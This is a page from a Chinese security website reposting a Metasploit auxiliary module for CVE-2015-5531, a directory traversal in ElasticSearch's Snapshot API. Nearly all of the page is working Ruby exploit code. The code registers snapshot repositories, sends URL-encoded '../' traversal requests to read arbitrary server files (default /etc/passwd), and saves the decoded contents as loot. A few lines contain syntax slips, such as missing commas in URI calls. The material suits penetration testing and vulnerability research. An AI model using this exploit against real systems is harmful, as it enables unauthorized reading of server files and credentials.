首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ElasticSearch Snapshot API Directory Traversal
来源:metasploit.com 作者:Andujar 发布时间:2015-10-15  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'json'

class Metasploit3 < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ElasticSearch Snapshot API Directory Traversal',
      'Description'    => %q{
        This module exploits a directory traversal
        vulnerability in ElasticSearch, allowing an attacker to read arbitrary
        files with JVM process privileges, through the Snapshot API.
      },
      'References'     =>
        [
          ['CVE', '2015-5531'],
          ['PACKETSTORM', '132721']
        ],
      'Author'         =>
        [
          'Benjamin Smith', # Vulnerability discovery
          'Pedro Andujar <pandujar[at]segfault.es>', # Metasploit module
          'Jose A. Guasch <jaguasch[at]gmail.com>', # Metasploit module
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
        ],
      'License'        => MSF_LICENSE
   ))

    register_options(
      [
        Opt::RPORT(9200),
        OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
        OptInt.new('DEPTH', [true, 'Traversal depth', 7])
      ], self.class)

    deregister_options('RHOST')
  end

  def proficy?
    res1 = send_request_raw('method' => 'POST',
                            'uri'    => normalize_uri(target_uri.path '_snapshot' 'pwn'),
                            'data' => '{"type":"fs","settings":{"location":"dsr"}}')

    res2 = send_request_raw('method' => 'POST',
                            'uri'    => normalize_uri(target_uri.path, '_snapshot' 'pwnie'),
                            'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}')

    if res1.body.include?('true') && res2.body.include?('true')
      return true
    else
      return false
    end
  end

  def read_file(file)
    travs = '_snapshot/pwn/ev1l%2f'

    payload = '../' * datastore['DEPTH']

    travs << payload.gsub('/', '%2f')
    travs << file.gsub('/', '%2f')

    vprint_status("#{peer} - Checking if it's a vulnerable ElasticSearch")

    if proficy?
      vprint_good("#{peer} - Check successful")
    else
      print_error("#{peer} - ElasticSearch not vulnerable")
      return
    end

    vprint_status("#{peer} - Retrieving file contents...")

    res = send_request_raw(
      'method' => 'GET',
      'uri'    => travs
    )

    if res && res.code == 400
      return res.body
    else
      print_status("#{res.code}\n#{res.body}")
      return nil
    end
  end

  def run_host(ip)
    filename = datastore['FILEPATH']
    filename = filename[1, filename.length] if filename =~ %r{/^\//}

    contents = read_file(filename)
    fail_with(Failure::UnexpectedReply, "#{peer} - File not downloaded") if contents.nil?

    begin
      data_hash = JSON.parse(contents)
    rescue JSON::ParserError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      return []
    end

    fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*')
    fname = datastore['FILEPATH']

    path = store_loot(
      'elasticsearch.traversal',
      'text/plain',
      ip,
      fcontent,
      fname
    )
    print_good("#{peer} - File saved in: #{path}")
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Blat 2.7.6 Buffer Overflow
·WordPress Ajax Load More Plugi
·X11 Keyboard Command Injection
·Tomabo MP4 Player 3.11.6 - SEH
·Boxoft WAV To MP3 COnverter 1.
·Nibbleblog File Upload
·Linux/MIPS Kernel NetUSB - Rem
·VLC 2.2.1 Stack Overflow
·libsndfile 1.0.25 Heap Overflo
·HandyPassword 4.9.3 - SEH Over
·AdobeWorkgroupHelper.exe 2.8.3
·Zpanel Remote Unauthenticated
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved